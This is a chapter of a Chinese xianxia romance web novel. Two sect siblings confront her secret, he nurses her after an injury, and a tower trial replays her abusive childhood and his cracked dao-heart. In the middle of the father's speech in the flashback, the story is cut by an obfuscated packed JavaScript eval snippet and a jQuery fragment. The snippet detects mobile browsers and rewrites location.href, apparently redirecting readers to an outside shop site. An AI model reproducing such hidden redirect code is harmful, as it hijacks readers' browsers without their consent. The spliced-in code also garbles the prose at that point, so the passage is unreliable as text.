大约在一年前,徐照雪问过李在阳一个问题。
“李在阳,你为何用刀?”
他当时怎么回答来着?
好像是说:“剑开双刃,御敌的同时很容易伤到自己,而刀不会。”
刀只有一面开刃。
“李在阳……”
明亮的刀身折射银白月光,徐照雪喉口微微滚动,感受到的却不是疼痛。
她半垂下眸子,从刀中窥见自己脖子边缘紧紧贴着的刀背,纵使心潮惊涛拍岸面上却未显露丝毫:“你的刀就是这样杀人的吗?”
刀未开刃那面是为刀背,极钝,杀不死人。
或者说,选择用刀背杀生的那个人压根没起杀心。
她话音将落,刀抵在脖子间的力道陡然一松,稍稍离开些许。
李在阳转瞬间又恢复往日漫不经心的懒散模样:“我为什么要杀你?”
“为什么不杀?”徐照雪急声反问。
厄,世界的黑暗面,乃一切罪恶的起源,一旦被发现,人人得而诛之!
李在阳为什么……
她内心闪过无数个猜测。
因为她是他的攻略对象?因为他想利用她完成任务得到系统的奖励?还是说,只是因为一时对她的秘密感兴趣?
“这么简单的问题还用问吗?”
李在阳凝视着她因情绪激动而泛红的眼尾,理所应当道:“因为你想活。”
“你……”徐照雪一怔,脑内四面八方地响起嗡鸣声。
少年身上携带的降真香近在咫尺,甜蜜的香气甚是好闻。良久,她紧绷的神经松懈下来,自嘲一笑。
这算什么理由?
仅仅是她想活?
因为她想活就轻飘飘地放过一个足以为祸四方的厄?
未免过于任性,疯狂。
可李在阳一直以来就是这样的人,从不被规则束缚,自由自在,从来只做自己想做的,自己认为对的事。
所以他无法无天,善恶难辨。
徐照雪发出低低地笑,收回那只携带灵核的手,望向他的眸光在月色下微微闪烁如同波光粼粼的湖面:“李在阳……你真是个疯子!”
“我疯?”李在阳手腕一转收回雨彐,“那你呢?明知自己是厄还敢单枪匹马进入云篆学院,然后胆大包天地被圣者选中住进破军圣殿?”
“自寻死路。”
“徐照雪,你远比我疯。”
“所以呢,你之后打算如何?去师尊面前揭发我?”
“我若真想杀你何必告诉师尊麻烦他老人家。他好不容易收个徒弟还没高兴几天就得大义灭亲,你不觉得对他很残忍吗?”
徐照雪:“少扯题外话!”
“行。”少年微眯起眼眸,神似一只狡猾的狐狸,叫人摸不清他的底细。
密林更深处偶尔传出野兽的吼叫声惊扰树上休息的鸟儿。徐照雪抿紧唇,全神贯注地盯着面前阴晴不定的危险少年,只要风向不对,手中紧捏的灵核随时准备放出。
“我若不想说,没人能强迫我。”李在阳忽然肃正神色,语气前所未有的认真,三指一并立下誓言,“今夜,我出门寻师妹回圣殿,并未发现厄。”
得到满意的回答,徐照雪这才肯收起灵核,耷拉下眼皮道:“算你识相。”
斗了那么久,她竟没想到李在阳居然会有肯让步的那天。
“走,回圣殿……”
徐照雪话说一半,勉强撑起的精神耗尽,身体直挺挺地朝李在阳栽去,额头狠狠地撞上他的胸膛。
少年平日勤恳修行,胸肌锻炼得十分结实,他一只手眼疾手快地扶住她的腰,只听徐照雪嘴里模糊不清地吐出一个“疼”字。
“啧。”
中了凌霜梅花掌还能强撑那么久。
果然是个疯子。
李在阳手臂穿过她的腿弯,一把将人打横抱起。徐照雪的脸贴在他的胸膛,浅薄的呼吸配合着他的心跳,滚烫灼热。
“李在阳……”她嘴里小声咕哝。
李在阳低下头凑近她的唇去听。
“师兄……我的。”她手指揪住他的衣襟,轻声说完彻底昏睡过去。
“疯兔子。”
占有欲挺强。
少年掀唇会心一笑,帮她拨开盖住眼睛的碎发。
*
徐照雪睡得极其不安稳。
女人尖酸刻薄的嗓音一遍又一遍地在她脑袋里回响:“徐照雪,你的父亲,母亲,兄长,姐姐,你的身份地位声名荣耀,你的未婚夫裴溯,我会一件一件地把他们夺走……”
“哦对了,还有你新拜的师门,你的师尊,你的师兄,你所有的一切都是我的!”
床榻上熟睡的少女忽然痛苦地皱起眉头,守在她身边的人立刻起身。
“照雪,照雪,醒醒。”
“李在阳!”
“师兄!”
徐照雪霍然睁开眼睛,额头冒出大片冷汗。
“咳咳咳……”破军圣者猝然被茶水呛到,拿干净的湿帕子擦拭她的额头,“你们师兄妹的关系变这么好了?”做梦都能叫出对方的名字,突飞猛进哇。
“好点了吗?肚子饿不饿,我叫日日去食堂带点饭回来。你刚受完伤,身体正虚弱着。”
徐照雪花了好一会儿时间才适应过来自己在圣殿的寝屋。她的身体每一处都很痛,根本没力气坐起身,只能眼巴巴看着师尊对她嘘寒问暖。
徐照雪鼻腔发酸:“谢谢师尊。”
圣者慈爱地揉揉她的脑袋:“长鱼家的凌霜梅花掌,他们家和你有仇?照雪,无论你们之间发生了什么,师尊都站你这边,若需要帮忙,你尽管开口。”
“师尊,那是我的私事。”
徐照雪心中有自己的打算:“如果有一天我真的碰见解决不了的事情,我不傻,也不会白白送掉自己的性命,一定会向您求助的。”
“你当然不傻,因为你就是个货真价实的疯子。”一道低沉傲慢的嗓音插进来。
门口,李在阳提着食盒,冲着刚刚苏醒过来的徐照雪轻挑一下眉梢。
他走进屋,掀开食盒盖子,动手盛汤:“师尊守了你一天一夜,该回去休息了。”
“那就不打扰你们了。”圣者笑笑,一副我都懂的表情,离开屋子后又突然从门口探出头,语重心长道,“别吵架,要相亲相爱。”
说完,门“砰”地一声关上。
李在阳端着热乎乎的汤走近床榻,出声问:“能起来吗?”
徐照雪摇摇头。
李在阳将汤放在一边的床头柜上,转头把人扶起来,顺手拿了一个软枕垫在她腰后。
“喝吧。”
米粥冒着丝丝热气,徐照雪并未伸手去接,而是问:“食堂没有卖小米红枣粥。你自己熬的吗?”
一人一系统的声音很快同时传进她耳朵里。
李在阳:“你觉得我很闲?”
【是啊是啊就是他亲手熬的,课不上了,桑承昂喊他出去兄弟聚餐也不去了,他一个人守着灶台熬了整整两个时辰呢!】
死傲娇。
做都做了,承认一下会死吗?
徐照雪吸了吸鼻子:“那个……我内伤没好全,手上没力气。”
她干瞪着眼,李在阳到嘴边的话“不吃难道等着我喂你么”一口气噎在喉咙里。
两个人对望着僵持两息。
【宿主愣着干什么?快去投喂女鹅呀!多好的增加好感度的机会!】
李在阳不为所动。
系统急得想抓耳挠腮:【妹宝两天没吃饭了,你难道忍心看她饿肚子吗?哦,我懂了!饿肚子恢复不了体力内伤就愈合得慢,宿主是想趁此机会多照顾她两天!】
【哎呀呀,妹宝昏迷三天,你衣不解带守她两天,我看你挺享受这个过程的啊。】
【这一招实在是高,实在是妙!】
李在阳:“……”并没有。
徐照雪:“……”都什么跟什么啊。
“师兄,我饿了。”
她的肚子可怜兮兮地叫了一声。李在阳抬眼扫过去,昏迷三日的徐照雪精神憔悴许多,眼底红丝遍布,眼眶微微红肿。
像受完欺负刚哭过一场的兔子。
瞧着就惹人爱怜。
李在阳看了她一眼,又一眼,右耳垂的位置热度逐渐攀升。
“张嘴。”
他舀了一口汤递过去。
徐照雪的嘴巴乖乖张开一个小口,露出洁白的牙齿。
明明受过重伤的人,按照常理来说,她的唇颜色应该白一些,可她的唇色却红得艳丽,诱人品尝。
女孩子的腰是软的,手也是软的,李在阳接触过,深有体会。
那么,他不由得想,徐照雪的嘴唇如果亲起来一定更软。
“李、在、阳!”
到嘴边的汤匙突然硬生生地拐了个弯,徐照雪不悦地瞪向始作俑者。
李在阳别过头:“烫。自己吹。”
让他喂汤已是勉强,如今连看都不愿看她一眼。
徐照雪无声地在心底叹气。
他还是那么讨厌我啊。
*
接连三日,李在阳几乎未回过圣殿,徐照雪的饭菜皆由桑承昂承包,圣者每日处理完文书第一时间帮她调理内伤。
第五日,徐照雪的精神和体力恢复大半,完全可以独立行动。
“照雪,能去东边的杂物间帮我取根墨条吗?”圣者加急处理一批文书,一抬头发现墨水用光了。
“嗯。师尊稍等。”
徐照雪快步往东边走,推开杂物间的门,一下子愣住。
杂物间空间不大,五六个柜子就把地方占满了。柜子统一用木头做的,大约将近两米,分六层,每一层都做成镂空,因此上面摆放的东西,一眼扫过去便看得一清二楚。
徐照雪抬脚进屋,目光从左至右挨个看过柜子上摆放整齐的木雕,清一色的兔子形状,神态动作却各不相同。
卧地垂耳的,举起前爪立耳的,还有急红眼呲牙咧嘴的……栩栩如生,惟妙惟肖。
“这些兔子蛮可爱的吧?”
徐照雪闻声回头,圣者立在门口笑容柔和:“都是你师兄平日闲着无聊做的,他平日除了修炼就这一个爱好。”
“确实挺可爱的。”她用食指戳了戳木兔子。
圣者:“你若喜欢,可以知会他一声,挑几个拿回去玩。”
“嗯。”她看过剩下的几个柜子,除了兔子还是兔子,不由得疑惑,“为什么都是兔子?”
圣者意味深长地笑:“我从前也问过他,大约是觉得所有动物里唯独兔子最有趣。”
这算什么理由?
徐照雪取完墨条交给圣者,临出门,视线无意间瞥见门框边安放的铜镜,不由得再次一怔。
因为负伤,这几日她几乎没怎么打理头发,今早也只是在原来的发髻上随意地理平整了些。
现在仔细一瞧,她团成两团梳在头顶的发髻可不就是很像一只立起耳朵的兔子吗?
徐照雪情不自禁地打了个冷颤。
但愿是她多想了吧。
*
云篆学院议事堂。
“这些年你一直瞒着贪狼圣者的死因,桑承昂若有一日知晓真相,是否会对你心生怨恨?”
破军圣者撩袍坐下,浅饮一口茶,然后望向院长:“真告诉他,他还能一个人掀翻圣都不成?”
“圣都水太深,五大世家各怀鬼胎,近百年遭遇他们毒手的无辜人数不胜数,再放任下去,迟早酿成大祸。”
云篆学院的院长是一位女子,年纪比破军圣者小两岁,与他自幼一起长大,后来一起进入学院修行,不仅是师兄妹,也是生死之交的挚友。
圣者摇头:“凭我们两个人非但无法铲除他们的根基,反而容易打草惊蛇。”
“如果宿逍和喻遥在就好了。”院长眼底流露出一抹怀念的目光。
“不必等他们出手,一代人有一代人的使命和重任,这一代的新起之秀并不比我们那一届差。”圣者说,“紫微星裴溯,贪狼星桑承昂,武曲星鱼有仪,天机星师玉泽皆为十分出色的苗子。”
更何况,他门下还有两位狠角色。
破军星徐照雪,七杀星李在阳。
“历年来,若想开启新时代,除了需要借住紫微星的气运,还必须辅以破军星的变革开创之力。而今破军星尚未入世,留给我们的时间所剩无几。”
圣者不好暴露徐照雪的秘密,微微笑了笑:“紫微破军组合最佳,但也要看两个人合不合得来。比方说,以裴溯对姑娘四处留情的性子,万一破军星不喜欢呢,若对他心生厌恶,两人铁定无法合作。”
院长对前段时间轰轰烈烈的退婚事件略有耳闻,沉声长叹:“这世道也不知怎么的,无情鬼偏爱演多情种,有情人苦心修无情道。”
“如若当年,贪狼圣者没有收到长鱼婵的信,没有对她心软,没有去圣都赴约,是否会是不一样的结局。”
“他会去。”圣者肯定道,“贪狼星最重情,更何况,长鱼婵是他爱慕多年的师妹。死在心爱之人的手里,或许对他来说也算一种解脱。”
院长:“他一死了之,把痛苦都留给承昂那孩子承担,这师尊当得……忒不负责!”
“是啊。”
圣者饮下最后一口茶:“紫微破军组合我看这一届是没机会了,不如咱们换个组合拭目以待?”
“什么?”
“杀破狼。”他道。
“七杀贪狼已就位,只等破军星出现,为此方世界带来新的曙光。”
院长怔愣片刻,眼底渐渐升起一抹期望之色。
“对了,有件事需要你安排。”
圣者说:“这一届的十四星比试提前举办罢,圣都那边等着收新的好苗子。”
院长迟疑道:“破军星不在,怎么举行?再说了,你明知圣都龙潭虎穴,还敢把他们往火坑里推?”
“哎哎,言重了。”
“比试的事好说,咱们不必等破军星,学院里许多甲级弟子和十四星实力没差多少,不如给他们一个参加比试的机会。”
“这……不合规矩。”院长面露难色。
“规矩嘛,说到底是人定的。我身为破军圣者都主动放弃等破军星了,你们还执着什么?”
“我再想想,这件事并非我能做主,其他的圣者的意见也很重要。”
“他们同意。”圣者拿出随身携带的签筒,随意地摇晃,“哪个圣者不爱护自己的得意门生,不为他们的利益着想?”
早点定下去圣都的名额,他们的下一代接班人越能得到更好的资源。
“呦,两支签。”
圣者拾起一支:“大凶。”
他咂咂舌,捡起另外一支:“小吉。”
院长:“作何解?”
圣者闭目思索良久,额头渗出密密麻麻的汗珠,睁眼说:“杀破狼对圣都,险胜。”
一个时辰后。
破军圣殿。
圣者事将十四星比试的规则要点事无巨细地讲给徐照雪。
“这次比试,圣都那边催得紧,我先前推拒过几次,可他们偏来劲,一次比一次开出的条件诱惑人。”
徐照雪:“什么条件?”
“扩充一条脉。”
徐照雪意外挑眉:“脉还能扩充?”
圣者同样心存疑虑:“据说是研究出了新的术法,你也不信吧?”
徐照雪内心冷声一笑,回道:“条件的确诱人,但少不得其中有蹊跷。”
“不贪不燥,心性不错。”圣者投去赞许的目光,“你的仇人在圣都,十境以下进圣都的机会难得,可以借此好好把握一番。”
徐照雪点点头:“师尊,我还缺一样趁手的神器。”
她身负千脉,按理来说,天底下任何神器都能被她使用,却没有一件完美适应她千脉变化的神器。
举个简单的例子,假如她的神器是一把刀,那么等她调用剑脉想用剑时,刀是死的,变不成剑。
她总不能随身携带千种神器。
“镇厄塔我已经和院长重新排查过一遍,确定里面不会再有厄。你若想进去修炼……”
圣者感知力敏锐,指向圣殿大门,徐照雪抬眼去看,李在阳正巧走进来。
“就让你师兄陪你去罢。”
“记得互帮互助,相亲相爱。”
……
晚间,镇厄塔。
“去镇厄塔做什么?破镜?”
“我想寻一把合心意的神器。”
徐照雪和李在阳一前一后踏入云梯,李在阳按了按钮,梯门闭合。
“去哪一层?”他问。
徐照雪略微估摸了下:“八千?”
李在阳上下扫她一眼:“你行吗?”
徐照雪:“上次揍归海宸你不是看得很清楚吗?八境我能维持一炷香。”
“谁给你的自信?学院里但凡有点实力的,谁人不知归海宸目中无人外强中干纸老虎一个。”
“所以呢,你什么意思?”徐照雪直视他戏谑的眸子,“想让我求你?”
“也不是……”不可以。
他话未说完,云梯突然运作,强烈的失重感惹人头晕目眩,徐照雪迅速扶住护栏,眼前忽然被一片红色覆盖。
降真香的气味随之涌入鼻腔。
徐照雪仰头,李在阳喉结微动,双手牢牢撑在她腰两侧,面部露出的下颚线弧度堪称完美:“抓紧别动。”
砰砰。砰砰。
徐照雪慢慢垂下眼睫,眼珠转到另外的方向。耳膜里一震一震,与心跳同频。
她这般安静,李在阳反而有些不适应,空气里茉莉香的味道挥之不去,越是想忽略,越是吸入更多的香气。
“我去那边看看。”
他别过头,抽身离开些许距离,徐照雪得以缓过神。
不知道是不是她的错觉,李在阳右耳垂似乎泛红了?
徐照雪托起下巴陷入深深的自我怀疑,难道因为耳圈同为红色导致她看错了?
“云梯出故障了。”
李在阳说完,梯门自动打开,徐照雪从他身后探出头,前方一片漆黑,未见一丝光亮。
【欢迎两位来到9999层。】
【通关条件:破梦。】
李在阳:“试试?”
“可以。”徐照雪率先走了出去。
李在阳紧随其后:“啧,忘了你是个疯子,什么都不怕。”
“不是有你在吗?”徐照雪指尖燃起一簇火焰,慢慢向前摸索。
少年一顿,习惯性地嘲讽道:“你有高境界灵核在手,何时需要我帮你?”
“也对。”徐照雪唇角轻扬,“等回去我找师尊告你的状,就说师兄对我冷嘲热讽,丝毫不顾及我的死活。”
“喂你……”
照亮一方的火焰突然消失,少女的身影随之隐没于黑暗中,李在阳长眉一蹙,一只手迅速搭上腰间刀柄。
目脉开启。
“徐照雪!”
他伸出两只手稳稳地接住向后倾倒的少女,一团火焰在他身前半米远的地方亮起。
徐照雪双目微闭,神态松弛,仿佛睡着了一般。
李在阳扶着她就地盘腿坐下,一只手搭在她脑后垫着充当枕头。由于开启目脉,视物比平时清晰好几倍,他得以将怀里的人看得更细致了些。
徐照雪肌肤瓷白,朱唇饱满,眉心朱砂的颜色比以前浅淡很多,眼睛闭上时睫毛像一把小扇。
安安静静的时候是一只小白兔,但他比谁都清楚,那颗尖锐的咬人很疼的虎牙就藏在她看似乖巧的外表之下。
李在阳等了一刻钟,未见徐照雪有醒来的迹象,面上常年挂着的玩世不恭消失殆尽。
“徐照雪。”他低声唤她,俯身凑近她的额头,犹疑一瞬,终是贴了上去。
目脉·神魂入梦。
与此同时,白雾袅袅升起。
李在阳持刀破开白雾。
一道软糯的声音断断续续传入他的左耳。
“五灵阵,布阵者需同时具备法脉,阵脉,灵脉,其杀伤力非比寻常,但只要是阵,最大的弱点必定在于阵眼。”
一间偌大的书楼里,粉雕玉琢的女孩一边执书念念有词地学习阵法,笔下写出的却是晦涩难懂的咒文。
系统:【是宝贝女鹅,女鹅小时候这么可爱啊!萌死我了哈哈!】
李在阳瞳孔一震,认认真真打量眼前个头还没桌子高的女童。
徐照雪?
【呜呜呜,这个时候的女鹅才一岁吧,路都走不稳的年纪就这么上进了,她好棒!】
一岁的徐照雪。
口齿伶俐、逻辑清晰、握笔写字?
李在阳冷嗤一声,哪有人一岁的年纪能做到这种程度?
况且,这个年岁的孩子难道不都喜欢在外玩闹吗?
为何她一脸落寞地抱书苦读?
他思索的间隙,幻境加速变化,徐照雪的个头往上蹿了一蹿。
过完两岁生辰的第三日,她选赴外地求学的兄姐归家休假。
徐照雪似乎很想讨好他们,亲自洗了一篮子灵果跑进兄长的院子。
冰天雪地中,身披白狐大氅的兄长听见她的呼喊声,缓缓转过身。
少年时期的兄长面容模糊,脸上仅仅浮着“兄长”两个字。
李在阳意外地挑了挑眉。
“滚开!”
面对妹妹的亲近,他恼羞成怒地挥开她,却不成想徐照雪因此失足落入冰湖。
冬日的湖水又冰又冷,冻得人牙齿发颤,寻常人掉进去极可能丧命。
更何况徐照雪肉体凡胎不会凫水。
“哥哥……”她张嘴呼救,冰冷的湖水往嘴里猛灌。
隔着水波荡漾的湖面,岸上的身影越来越远,越来越模糊。
兄长着实慌了一瞬,手伸出一半,又突然缩回来,声色冷漠道:“连灵力都没有的废物,拖累家族声名,死不足惜。”
他转身离开,仿佛推她入水的不是他。
冬日严寒,朔风阵阵,新一轮的雪花慢慢降落越积越深。
李在阳望着远去的少年,原本抱臂的手垂落身侧,意味不明地冷笑一声。
徐照雪挣扎许久才爬出冰湖。
灵果七零八落地散在雪地,有几颗被兄长踩过,已经碾碎成渣。
她一颗颗捡起重新放入篮子,尽管自己冻得瑟瑟发抖,头发松乱,手背不断有水珠砸落,分不清是湖水还是她的眼泪。
自那以后,徐照雪不再亲近兄长。
时间一晃,她三岁生辰这天,父亲从外面带回一个脏兮兮的女孩,年龄与她同岁。
脸上写着“父亲”两字的男人说:“从今以后你就留在家中,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484640|201932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有我的允许,不得出门。”
“你的身份,你的名字不得与外人提起,便由她顶替你为家族增光。”
“甘心吗?”他问徐照雪。
徐照雪甚至不能以本名自称,垂下头低声说:“没什么不甘心的。父亲,女儿资质愚钝,徒为家族蒙羞。反观兄姐天赋卓绝,早早便能参悟五元术,乃真真正正的天之骄子。”
“所以,为了家族荣光,女儿一切都应听从您的安排。”
名字和身份而已,徐照雪早就不想要这两样东西了。
“今日是你生辰?”
“是。”
男人从域中取出一只白色小兽:“送你的生辰礼物,名为织梦兽。此兽性情温和亲人,你且安心养着玩罢。”
“谢谢父亲。”
徐照雪见织梦兽的第一眼就特别喜欢,每日拿上好的灵果喂养着,时常抱着他一起看书。她写字时,织梦兽喜欢趴在纸的边缘充当一块镇石。
每到夜里,他编织出梦境,徐照雪很多次在梦中笑出声,偶尔会说几句梦话,来来回回就那么几个词“爸爸”,”妈妈”,“哥哥”,“姐姐”。
当李在阳觉得幻境应该就此结束,新一轮的幻境又开始了。
四岁这年,徐照雪被人绑走,与她同时被绑的还有两个女孩,一人面上写着“姐姐”,另一人写着“雪”。
“妹妹们别怕,姐姐保护你们。”姐姐张开双臂,一左一右各自抱紧一个妹妹。
绑走她们的是一个邪修,因为看中她们的脉,冒着巨大的风险几经波折才将人从家里劫出来。
徐照雪体质废柴,被绑完全是个意外和她自己倒霉,谁叫那天非得赖在姐姐屋里留宿,邪修不得已才把她也绑了。
“做姐姐的挺有担当嘛,那就从你开始。”邪修伸手去抓笼子里的女孩。
“动手!”徐照雪看准时机,低喝一声。
两个女孩立刻收起恐惧的神色,一人施展咒术困住邪修,一人以极快的速度开启提前布置好的杀阵。
虽说最后并未杀死邪修,但很幸运地撑到了族中人赶来救援,平安无事地被送回家。
李在阳面无表情地看完一切,隐约觉得事情另有蹊跷,否则以徐照雪的意志力不至于被困在幻境里这么久。
事实果然如他所料。
他亲眼看到徐照雪是如何被血浓于水的亲人种下厄。
“为什么?”
徐照雪痛苦不堪地蜷缩在地,瞪着一双血红的眼睛,全然陌生地望向一直以来对她展露善意最多的姐姐。
“我也很想知道。”姐姐温和地对她笑了笑,那笑容徐照雪平日见惯了,如今再看,却觉得虚伪至极。
“妹妹生为凡胎,老老实实做一个普通人在家里了却残生不好吗?”
徐照雪:“我自认为没有做过任何对不起你的事!”
女子的笑容渐渐淡去:“你都说了是你自认为。”
“阿娘那夜苦心布局,派出心腹伪装成邪修……从始至终想要杀的人只有你一个啊。我和阿雪入局不过是为了瞒住父亲的耳目,谁知你居然深藏不露,才四岁就已经精通咒术和法阵。”
“父亲英明一世,居然也有看走眼的一天。妹妹,家中天才太多,姐姐气量小,瞧见心烦。”
说白了就是嫉妒。
徐照雪吃一堑长一智,此后在羽翼未丰满前越发小心翼翼处处藏拙。
可老天总喜欢和她开玩笑。
那个顶替了她身份地位,替她享受亲人宠爱的女孩原来也十分恨她。
恨不得她早点去死。
免得被她夺回偷来的一切。
她丢给徐照雪一团血肉模糊的东西。
徐照雪头脑发懵地抱住那团东西。
“看吧,你什么都守不住,身份地位,父母兄姐,你有一样,我夺一样。”
“弱者,命如蝼蚁。”
一把匕首被扔在徐照雪脚边。
她顾不得对方说了什么,顾不上身体的疼痛,捧起奄奄一息的织梦兽,眼泪一滴接一滴地掉。
人在极致的痛苦中哭不出声。
徐照雪抱着织梦兽和他埋成一团。
胎穿进修真界真是倒霉透顶。
爹不疼娘不爱,兄姐视她为眼中钉肉中刺,连外人都活得比她好。
唯一与她亲近的织梦兽因她濒死,到底为什么要让她经历这么多倒霉烦心的事?
时间缓慢流逝,天微微亮之际,徐照雪的眼泪流干流尽。织梦兽的血几乎染遍她的全身,却始终有一口微薄的呼吸。
徐照雪咬紧唇,将他抱得更紧。
李在阳一直站在她身边,垂眸凝望她毛茸茸的脑袋。
半晌,他在她面前半跪下.身,手臂一抬,决心强行带她脱离幻境。
“呵呵。”
徐照雪突然低笑,嗓音嘶哑决绝。
她捡起地上的匕首,狠狠一刀扎进织梦兽的脖子,鲜血噗呲一下溅了她半张脸。
幻境应声而破。
徐照雪低声呢喃:“还以为是什么特难关卡,枉我拖了那么久,到头来竟这般无趣。”
李在阳失笑:“该说你无情还是没心没肺?”
他站起身,精神最为放松的时刻,后心陡然剧烈一痛,有什么尖锐的东西扎进去了……
他回头去看,女人披头散发,脸颊瘦削颧骨突出,刻薄之相尽显,和多年前他记忆里的那个疯女人重叠。
母亲?
女人两眼微凸,尖声质问:“为娘百般为你考虑,叫你潜心修炼绝情道,你可好,道心生出瑕疵,对得起我的苦心筹谋吗?”
她加重力道,匕首往前又进一寸似乎要把他的心挑出来看看:“说!你的道心为何不坚!你究竟被什么迷惑心志?”
李在阳嘴角溢出血水,眸色清冷,完全不似她口中多情的模样。
他神色戏谑:“不知道。”
“不知道,不知道……”女人联想到什么,宛如受了天大的刺激,“你动了情,所以道心生出裂缝!牵绊你的是一个女人,是与不是?”
女人抽出插在他心间的刃,迫切地想问出一个答案。
李在阳捂住左胸,鲜血从心脏细窄的伤口上源源不断涌出,唇角掀起一抹自嘲的笑。
这下,心上真的有裂痕了。
女人连声逼问:“她是谁!”
李在阳垂下眼睫,脑子里想的却是昨日他去七杀圣殿的一幕。
七杀圣殿有一面镜子,名为问心镜,据师尊说,上一任七杀圣者的道心曾经也出现过问题,因此特意寻来窥破道心,寻根溯源问题所在。
李在阳想知道自己的道心为何无故生出裂缝且多年来无法修复。
因而去了七杀圣殿一趟。
他站在问心镜面前询问,而问心镜却给不出一个明确的答案。
他看见镜子里面漫无边际的黑暗,就像他修炼的绝情道,断情绝爱,无牵无挂,破除世间一切牵绊。
没有任何人或事能真正牵动他停下脚步。
问心镜验不出他的道心问题所在。
李在阳捏了捏胀疼的太阳穴,腰间玑镜震动两下,他拿起来一看,是师尊发来的消息:徐照雪去外城采办东西,一日未归。
圣者叫他去看看她是不是遇上什么麻烦了。
徐照雪。
李在阳短暂地在这三个字上停留几息,重新将玑镜挂在腰间,抬脚离开圣殿。
就在此时,问心镜忽然迸发出耀眼的金光。
待光芒消失,一副清晰可见的画面缓缓呈现在李在阳眼中。
云篆学院入院阶梯高达八百层,他看见自己和桑承昂一前一后地行走于阶梯之间。
桑承昂一边踩阶梯,一边跟他抱怨:“还没回学院,我就先累死在半道了。”
李在阳稳步走着,随手往他身后扔了一团火。
“啊啊啊啊李在阳你当个人吧!”桑承昂骂骂咧咧地施展开御风术一路飞快地爬完剩下七百层阶梯。
李在阳几个瞬闪跟上去,在距离学院大门十个阶梯时,一轮红日将将升起,为伫立在学院门前的黑裙少女渡上一层层金光。
她抬手把碎发别在耳后,黑发秀亮,星眸璀璨。
李在阳微眯起眼睛。
桑承昂拧了一把头上的汗走过来哥俩好地与他勾肩搭背:“看什么呢?”
他顺着李在阳的目光看了一眼:“这不是今日新来的学生么,好像是叫徐照雪。听说,她其实是裴溯的小青梅兼未婚妻,突然来此,只怕对裴溯到处沾花惹草的事略有耳闻?”
“你看她那么久做什么?喜欢这种类型的?打住打住啊,兄弟我警告你,一旦动心,你的绝情道就废了!”
这便是三年前,他初次见徐照雪的场景。
问心镜什么意思?
找不出缘由便罢了,陈芝麻烂谷子的旧事也敢拿出来凑数?
但仔细一想,耐人寻味。
他的道心于三年前生出瑕疵不假,可遇见徐照雪同样也在三年前,问心镜为何偏偏照出这一幕,为何偏偏照出徐照雪?
长久以来想不通的问题,在女人一道道声嘶力竭的质问中忽然醍醐灌顶。
“呵。”李在阳冷笑。
所以,问心镜的意思是他因为徐照雪道心不坚?
无稽之谈。
……
“李在阳,李在阳。”
李在阳眉心一拧,缓缓睁开眼。
逐渐辽阔的视野里充满少女姣好的面容,徐照雪神色欣喜道:“你醒了?”
“这层幻境是双重的,我刚从幻境出来以为没事了,结果你直接晕我身上来了,还好我有体脉,不然就被你压得起不来身了。”
李在阳:“你如何识破幻境?”
徐照雪耸了下肩,无奈道:“早听说修士有心魔关,时常中个幻术,进个幻境之类的,所以我花了一年时间泡在各种幻境里,见得多应付得多了,自然对这些东西无感了。”
“譬如方才的织梦兽,我在幻境里杀过一万三千五百八十一只。”
起因是那一年,云山雪得姐姐暗中授意,再次往她身上种下大量的厄,导致她多年来维持的平衡被打破,五识受到重创,不得已推迟许多计划,老老实实待在家中养伤。
趁此机会,徐照雪开始尝试各种幻境,磨炼自己的心境。
“【9999层】的神器我拿到手了,是一把很漂亮的扇子。”
“你得感谢我没有把你一个人丢在镇厄塔,等回圣殿,你得做饭感谢我。”
她讲话间,那颗尖锐的虎牙若隐若现,像小猫爪时而收起时而亮出的指甲一样挠得人心痒痒。
李在阳直直地盯着她,嗅着浅淡的茉莉香,一言不发地听她讲话,似乎蛮享受这个过程。
“李在阳你听到了吗?”
许久未听见他声音的徐照雪低头一看,两人目光对接上的刹那,同时心跳滞了一瞬。
徐照雪坐直身子,清清嗓子道:“醒了就赶紧起来,我腿有点麻。”
自从李在阳莫名晕倒,她一直跪坐着用腿给他当枕头,刚才见他清醒,光记着和他说话,忘记叫他起身。
白叫他占了那么多便宜!
得多给她做两顿饭补回来才行。
“喂你还要躺到什么时候……”
李在阳枕着她的腿,忽然抬手,冰凉的指尖一寸寸触碰上她的脸。